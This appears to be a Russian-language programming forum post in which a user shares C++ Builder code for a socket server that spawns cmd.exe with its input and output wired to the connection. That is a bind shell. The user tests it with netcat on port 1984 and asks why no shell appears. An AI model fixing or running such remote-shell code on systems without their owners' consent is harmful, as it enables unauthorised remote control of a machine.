coersion
Сообщений: 3
Оценки: 0
Присоединился: 2005-02-28 02:38:59
|
Код на C++ Builder (на форме компонент ServerSocket):
//————————————————————————— void __fastcall TForm1::ServerSocket1Accept(TоЬjесt *Sender, TCustomWinSocket *Socket) { STARTUPINFO si; PROCESS_INFORMATION pi; LPCTSTR lpMsgBuf;
ZeroMemory(&si, sizeof(STARTUPINFO)); si.cb = sizeof(STARTUPINFO); si.wShowwindоw = SW_SHOW; si.dwFlags = STARTF_USESHOWwindоw | STARTF_USESTDHANDLES; si.hStdInput = ServerSocket1->Socket->Handle; si.hStdOutput = ServerSocket1->Socket->Handle; si.hStdError = ServerSocket1->Socket->Handle; // запускаем ''cmd.exe'' с перенаправлением ввода/вывода if (NULL == CreateProcess(NULL, "cmd.exe", NULL, NULL, true, NULL, NULL, NULL, &si, &pi)) { FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM, NULL, GetLastError(), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR) &lpMsgBuf, 0, NULL); // Display the string. MessageЬох(NULL, lpMsgBuf, NULL, MB_OK | MB_ICONINFORMATION); } else { ShowMessage("OK"); } CloseHandle(ServerSocket1->Socket->Handle); CloseHandle(pi.hProcess); CloseHandle(pi.hThread);
} //—————————————————————————
void __fastcall TForm1::Button1Click(TоЬjесt *Sender) { ServerSocket1->Port = 1984; ServerSocket1->Active = true; } //—————————————————————————
При соединении: nc 127.0.0.1 1984 шелл не открывается, соединение не разрывается, программа выдает сообщение "ОК", что свидетельствует об успешном завершении функции CreateProcess.
Что не так?
|